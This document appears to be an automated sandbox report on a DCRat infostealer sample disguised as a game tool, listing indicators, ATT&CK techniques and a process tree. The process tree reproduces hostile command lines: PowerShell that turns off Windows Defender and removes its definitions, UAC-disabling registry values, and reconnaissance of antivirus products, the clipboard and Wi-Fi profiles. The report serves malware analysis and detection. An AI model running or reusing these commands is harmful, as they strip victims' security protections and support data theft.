dcrat | e8ebb8aba5f18b2b4387f91450f9b2c7f8f27fc272695a92a3f8dae23b5427d5

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Monitorcommon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Monitorcommon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Monitorcommon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	cmd.exe

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000700000002341a-131.dat	dcrat
behavioral2/files/0x0007000000023420-342.dat	dcrat
behavioral2/memory/2312-344-0x00000000006F0000-0x0000000000A2E000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3360	powershell.exe
816	powershell.exe

Disables Task Manager via registry modification
evasion

ACProtect 1.3x - 1.4x DLL software 16 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x000800000002340d-69.dat	acprotect
behavioral2/files/0x0009000000023375-77.dat	acprotect
behavioral2/files/0x0008000000023390-83.dat	acprotect
behavioral2/files/0x0008000000023392-79.dat	acprotect
behavioral2/files/0x000900000002338b-97.dat	acprotect
behavioral2/files/0x000800000002338a-96.dat	acprotect
behavioral2/files/0x0008000000023389-95.dat	acprotect
behavioral2/files/0x0009000000023387-94.dat	acprotect
behavioral2/files/0x000a000000023386-93.dat	acprotect
behavioral2/files/0x000900000002337b-92.dat	acprotect
behavioral2/files/0x0009000000023378-91.dat	acprotect
behavioral2/files/0x000c000000023373-90.dat	acprotect
behavioral2/files/0x0007000000023418-89.dat	acprotect
behavioral2/files/0x0007000000023417-88.dat	acprotect
behavioral2/files/0x0007000000023416-87.dat	acprotect
behavioral2/files/0x0008000000023393-84.dat	acprotect

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	Monitorcommon.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	cs2-rege-legit.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	ssll.‮fdp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	discord pro+.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	antiriser.bat

Executes dropped EXE 8 IoCs

pid	Process
1220	ssll.‮fdp.exe
3248	Built.exe
1668	discord pro+.exe
3408	Built.exe
1828	antiriser.bat
2312	Monitorcommon.exe
4508	rar.exe
1736	cmd.exe

Loads dropped DLL 16 IoCs

pid	Process
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe
3408	Built.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 44 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3408-72-0x0000000074B60000-0x000000007506B000-memory.dmp	upx
behavioral2/files/0x000800000002340d-69.dat	upx
behavioral2/files/0x0009000000023375-77.dat	upx
behavioral2/memory/3408-81-0x0000000074B00000-0x0000000074B0D000-memory.dmp	upx
behavioral2/files/0x0008000000023390-83.dat	upx
behavioral2/memory/3408-80-0x0000000074B10000-0x0000000074B2F000-memory.dmp	upx
behavioral2/files/0x0008000000023392-79.dat	upx
behavioral2/files/0x000900000002338b-97.dat	upx
behavioral2/files/0x000800000002338a-96.dat	upx
behavioral2/files/0x0008000000023389-95.dat	upx
behavioral2/files/0x0009000000023387-94.dat	upx
behavioral2/files/0x000a000000023386-93.dat	upx
behavioral2/files/0x000900000002337b-92.dat	upx
behavioral2/files/0x0009000000023378-91.dat	upx
behavioral2/files/0x000c000000023373-90.dat	upx
behavioral2/files/0x0007000000023418-89.dat	upx
behavioral2/files/0x0007000000023417-88.dat	upx
behavioral2/files/0x0007000000023416-87.dat	upx
behavioral2/files/0x0008000000023393-84.dat	upx
behavioral2/memory/3408-103-0x0000000074AD0000-0x0000000074AF7000-memory.dmp	upx
behavioral2/memory/3408-107-0x0000000074A90000-0x0000000074AAB000-memory.dmp	upx
behavioral2/memory/3408-106-0x0000000074AB0000-0x0000000074AC8000-memory.dmp	upx
behavioral2/memory/3408-111-0x0000000074930000-0x0000000074946000-memory.dmp	upx
behavioral2/memory/3408-109-0x0000000074950000-0x0000000074A87000-memory.dmp	upx
behavioral2/memory/3408-113-0x00000000748E0000-0x00000000748EC000-memory.dmp	upx
behavioral2/memory/3408-115-0x00000000748B0000-0x00000000748D8000-memory.dmp	upx
behavioral2/memory/3408-118-0x0000000074B60000-0x000000007506B000-memory.dmp	upx
behavioral2/memory/3408-120-0x00000000745B0000-0x0000000074644000-memory.dmp	upx
behavioral2/memory/3408-119-0x0000000074650000-0x00000000748AA000-memory.dmp	upx
behavioral2/memory/3408-122-0x0000000074B10000-0x0000000074B2F000-memory.dmp	upx
behavioral2/memory/3408-123-0x0000000074540000-0x0000000074550000-memory.dmp	upx
behavioral2/memory/3408-125-0x0000000074530000-0x000000007453C000-memory.dmp	upx
behavioral2/memory/3408-128-0x0000000074410000-0x0000000074529000-memory.dmp	upx
behavioral2/memory/3408-290-0x0000000074A90000-0x0000000074AAB000-memory.dmp	upx
behavioral2/memory/3408-412-0x00000000745B0000-0x0000000074644000-memory.dmp	upx
behavioral2/memory/3408-411-0x0000000074650000-0x00000000748AA000-memory.dmp	upx
behavioral2/memory/3408-410-0x00000000748B0000-0x00000000748D8000-memory.dmp	upx
behavioral2/memory/3408-408-0x0000000074930000-0x0000000074946000-memory.dmp	upx
behavioral2/memory/3408-407-0x0000000074950000-0x0000000074A87000-memory.dmp	upx
behavioral2/memory/3408-402-0x0000000074B10000-0x0000000074B2F000-memory.dmp	upx
behavioral2/memory/3408-401-0x0000000074B60000-0x000000007506B000-memory.dmp	upx
behavioral2/memory/3408-493-0x0000000074B10000-0x0000000074B2F000-memory.dmp	upx
behavioral2/memory/3408-492-0x0000000074A90000-0x0000000074AAB000-memory.dmp	upx
behavioral2/memory/3408-477-0x0000000074B60000-0x000000007506B000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cmd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Monitorcommon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Monitorcommon.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
37	discord.com
38	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	ip-api.com

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe	Monitorcommon.exe
File created	C:\Program Files\Windows Photo Viewer\TiWorker.exe	Monitorcommon.exe
File created	C:\Program Files\Windows Mail\TextInputHost.exe	Monitorcommon.exe
File created	C:\Program Files\Windows Mail\22eafd247d37c3	Monitorcommon.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\cc11b995f2a76d	Monitorcommon.exe
File created	C:\Program Files (x86)\Windows Mail\fontdrvhost.exe	Monitorcommon.exe
File created	C:\Program Files (x86)\Windows Mail\5b884080fd4f94	Monitorcommon.exe
File created	C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_97390\backgroundTaskHost.exe	Monitorcommon.exe
File created	C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_97390\eddb19405b7ce1	Monitorcommon.exe
File created	C:\Program Files\Windows Photo Viewer\cd89ddd3d81b06	Monitorcommon.exe
File created	C:\Program Files\Common Files\56085415360792	Monitorcommon.exe
File created	C:\Program Files\Common Files\wininit.exe	Monitorcommon.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\1f93f77a7f4778	Monitorcommon.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\winlogon.exe	Monitorcommon.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\PolicyDefinitions\es-ES\lsass.exe	Monitorcommon.exe
File created	C:\Windows\PolicyDefinitions\es-ES\6203df4a6bafc7	Monitorcommon.exe
File created	C:\Windows\Performance\WinSAT\DataStore\Idle.exe	Monitorcommon.exe
File created	C:\Windows\Performance\WinSAT\DataStore\6ccacd8608530f	Monitorcommon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 45 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3756	schtasks.exe
1828	schtasks.exe
880	schtasks.exe
540	schtasks.exe
4772	schtasks.exe
2576	schtasks.exe
1348	schtasks.exe
3128	schtasks.exe
2500	schtasks.exe
3244	schtasks.exe
2008	schtasks.exe
3928	schtasks.exe
2800	schtasks.exe
2840	schtasks.exe
1060	schtasks.exe
3596	schtasks.exe
4372	schtasks.exe
1380	schtasks.exe
3760	schtasks.exe
752	schtasks.exe
536	schtasks.exe
3056	schtasks.exe
4356	schtasks.exe
3972	schtasks.exe
2056	schtasks.exe
3504	schtasks.exe
3320	schtasks.exe
2692	schtasks.exe
1440	schtasks.exe
5092	schtasks.exe
4508	schtasks.exe
3244	schtasks.exe
4132	schtasks.exe
1244	schtasks.exe
3524	schtasks.exe
3528	schtasks.exe
4500	schtasks.exe
3496	schtasks.exe
3216	schtasks.exe
2304	schtasks.exe
4940	schtasks.exe
3484	schtasks.exe
3104	schtasks.exe
1220	schtasks.exe
2416	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
3144	WMIC.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery

T1057

pid	Process
2236	tasklist.exe
2424	tasklist.exe
2068	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2576	systeminfo.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	cs2-rege-legit.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	antiriser.bat
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	Monitorcommon.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
1772	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1012	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5076	powershell.exe
5076	powershell.exe
3360	powershell.exe
3360	powershell.exe
5076	powershell.exe
5076	powershell.exe
3360	powershell.exe
3360	powershell.exe
816	powershell.exe
816	powershell.exe
3240	powershell.exe
3240	powershell.exe
816	powershell.exe
3240	powershell.exe
3244	powershell.exe
3244	powershell.exe
3244	powershell.exe
1932	powershell.exe
1932	powershell.exe
1932	powershell.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
2312	Monitorcommon.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
1736	cmd.exe
1736	cmd.exe
1736	cmd.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1736	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	2236	tasklist.exe
Token: SeDebugPrivilege	2424	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3740	WMIC.exe
Token: SeSecurityPrivilege	3740	WMIC.exe
Token: SeTakeOwnershipPrivilege	3740	WMIC.exe
Token: SeLoadDriverPrivilege	3740	WMIC.exe
Token: SeSystemProfilePrivilege	3740	WMIC.exe
Token: SeSystemtimePrivilege	3740	WMIC.exe
Token: SeProfSingleProcessPrivilege	3740	WMIC.exe
Token: SeIncBasePriorityPrivilege	3740	WMIC.exe
Token: SeCreatePagefilePrivilege	3740	WMIC.exe
Token: SeBackupPrivilege	3740	WMIC.exe
Token: SeRestorePrivilege	3740	WMIC.exe
Token: SeShutdownPrivilege	3740	WMIC.exe
Token: SeDebugPrivilege	3740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3740	WMIC.exe
Token: SeRemoteShutdownPrivilege	3740	WMIC.exe
Token: SeUndockPrivilege	3740	WMIC.exe
Token: SeManageVolumePrivilege	3740	WMIC.exe
Token: 33	3740	WMIC.exe
Token: 34	3740	WMIC.exe
Token: 35	3740	WMIC.exe
Token: 36	3740	WMIC.exe
Token: SeDebugPrivilege	2068	tasklist.exe
Token: SeDebugPrivilege	816	powershell.exe
Token: SeIncreaseQuotaPrivilege	3740	WMIC.exe
Token: SeSecurityPrivilege	3740	WMIC.exe
Token: SeTakeOwnershipPrivilege	3740	WMIC.exe
Token: SeLoadDriverPrivilege	3740	WMIC.exe
Token: SeSystemProfilePrivilege	3740	WMIC.exe
Token: SeSystemtimePrivilege	3740	WMIC.exe
Token: SeProfSingleProcessPrivilege	3740	WMIC.exe
Token: SeIncBasePriorityPrivilege	3740	WMIC.exe
Token: SeCreatePagefilePrivilege	3740	WMIC.exe
Token: SeBackupPrivilege	3740	WMIC.exe
Token: SeRestorePrivilege	3740	WMIC.exe
Token: SeShutdownPrivilege	3740	WMIC.exe
Token: SeDebugPrivilege	3740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3740	WMIC.exe
Token: SeRemoteShutdownPrivilege	3740	WMIC.exe
Token: SeUndockPrivilege	3740	WMIC.exe
Token: SeManageVolumePrivilege	3740	WMIC.exe
Token: 33	3740	WMIC.exe
Token: 34	3740	WMIC.exe
Token: 35	3740	WMIC.exe
Token: 36	3740	WMIC.exe
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	2312	Monitorcommon.exe
Token: SeIncreaseQuotaPrivilege	1216	WMIC.exe
Token: SeSecurityPrivilege	1216	WMIC.exe
Token: SeTakeOwnershipPrivilege	1216	WMIC.exe
Token: SeLoadDriverPrivilege	1216	WMIC.exe
Token: SeSystemProfilePrivilege	1216	WMIC.exe
Token: SeSystemtimePrivilege	1216	WMIC.exe
Token: SeProfSingleProcessPrivilege	1216	WMIC.exe
Token: SeIncBasePriorityPrivilege	1216	WMIC.exe
Token: SeCreatePagefilePrivilege	1216	WMIC.exe
Token: SeBackupPrivilege	1216	WMIC.exe
Token: SeRestorePrivilege	1216	WMIC.exe
Token: SeShutdownPrivilege	1216	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1056 wrote to memory of 1220	1056	cs2-rege-legit.exe	88
PID 1056 wrote to memory of 1220	1056	cs2-rege-legit.exe	88
PID 1056 wrote to memory of 1012	1056	cs2-rege-legit.exe	90
PID 1056 wrote to memory of 1012	1056	cs2-rege-legit.exe	90
PID 1220 wrote to memory of 3248	1220	ssll.‮fdp.exe	93
PID 1220 wrote to memory of 3248	1220	ssll.‮fdp.exe	93
PID 1220 wrote to memory of 3248	1220	ssll.‮fdp.exe	93
PID 1220 wrote to memory of 1668	1220	ssll.‮fdp.exe	94
PID 1220 wrote to memory of 1668	1220	ssll.‮fdp.exe	94
PID 3248 wrote to memory of 3408	3248	Built.exe	95
PID 3248 wrote to memory of 3408	3248	Built.exe	95
PID 3248 wrote to memory of 3408	3248	Built.exe	95
PID 3408 wrote to memory of 3056	3408	Built.exe	97
PID 3408 wrote to memory of 3056	3408	Built.exe	97
PID 3408 wrote to memory of 3056	3408	Built.exe	97
PID 3408 wrote to memory of 2388	3408	Built.exe	98
PID 3408 wrote to memory of 2388	3408	Built.exe	98
PID 3408 wrote to memory of 2388	3408	Built.exe	98
PID 3056 wrote to memory of 3360	3056	cmd.exe	102
PID 3056 wrote to memory of 3360	3056	cmd.exe	102
PID 3056 wrote to memory of 3360	3056	cmd.exe	102
PID 1668 wrote to memory of 1828	1668	discord pro+.exe	101
PID 1668 wrote to memory of 1828	1668	discord pro+.exe	101
PID 1668 wrote to memory of 1828	1668	discord pro+.exe	101
PID 2388 wrote to memory of 5076	2388	cmd.exe	103
PID 2388 wrote to memory of 5076	2388	cmd.exe	103
PID 2388 wrote to memory of 5076	2388	cmd.exe	103
PID 3408 wrote to memory of 3868	3408	Built.exe	104
PID 3408 wrote to memory of 3868	3408	Built.exe	104
PID 3408 wrote to memory of 3868	3408	Built.exe	104
PID 3408 wrote to memory of 4696	3408	Built.exe	105
PID 3408 wrote to memory of 4696	3408	Built.exe	105
PID 3408 wrote to memory of 4696	3408	Built.exe	105
PID 4696 wrote to memory of 2236	4696	cmd.exe	108
PID 4696 wrote to memory of 2236	4696	cmd.exe	108
PID 4696 wrote to memory of 2236	4696	cmd.exe	108
PID 3868 wrote to memory of 2424	3868	cmd.exe	109
PID 3868 wrote to memory of 2424	3868	cmd.exe	109
PID 3868 wrote to memory of 2424	3868	cmd.exe	109
PID 1828 wrote to memory of 2604	1828	antiriser.bat	110
PID 1828 wrote to memory of 2604	1828	antiriser.bat	110
PID 1828 wrote to memory of 2604	1828	antiriser.bat	110
PID 1828 wrote to memory of 1168	1828	antiriser.bat	111
PID 1828 wrote to memory of 1168	1828	antiriser.bat	111
PID 1828 wrote to memory of 1168	1828	antiriser.bat	111
PID 3408 wrote to memory of 4420	3408	Built.exe	145
PID 3408 wrote to memory of 4420	3408	Built.exe	145
PID 3408 wrote to memory of 4420	3408	Built.exe	145
PID 3408 wrote to memory of 3144	3408	Built.exe	113
PID 3408 wrote to memory of 3144	3408	Built.exe	113
PID 3408 wrote to memory of 3144	3408	Built.exe	113
PID 3408 wrote to memory of 3756	3408	Built.exe	114
PID 3408 wrote to memory of 3756	3408	Built.exe	114
PID 3408 wrote to memory of 3756	3408	Built.exe	114
PID 3408 wrote to memory of 4380	3408	Built.exe	117
PID 3408 wrote to memory of 4380	3408	Built.exe	117
PID 3408 wrote to memory of 4380	3408	Built.exe	117
PID 3408 wrote to memory of 1736	3408	Built.exe	153
PID 3408 wrote to memory of 1736	3408	Built.exe	153
PID 3408 wrote to memory of 1736	3408	Built.exe	153
PID 3408 wrote to memory of 4500	3408	Built.exe	120
PID 3408 wrote to memory of 4500	3408	Built.exe	120
PID 3408 wrote to memory of 4500	3408	Built.exe	120
PID 3408 wrote to memory of 332	3408	Built.exe	160

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Monitorcommon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Monitorcommon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Monitorcommon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	cmd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cs2-rege-legit.exe
"C:\Users\Admin\AppData\Local\Temp\cs2-rege-legit.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Users\Admin\AppData\Local\Temp\ssll.‮fdp.exe
  "C:\Users\Admin\AppData\Local\Temp\ssll.‮fdp.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3248
  - - C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:3408
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3056
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3360
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2388
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5076
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3868
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2424
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4696
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2236
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        5⤵
        
        PID:4420
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3740
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        
        PID:3144
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3240
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:3756
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2068
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:4380
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:2772
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        5⤵
        
        PID:1736
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        6⤵
        
        PID:3496
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        5⤵
        
        PID:4500
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:2576
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand 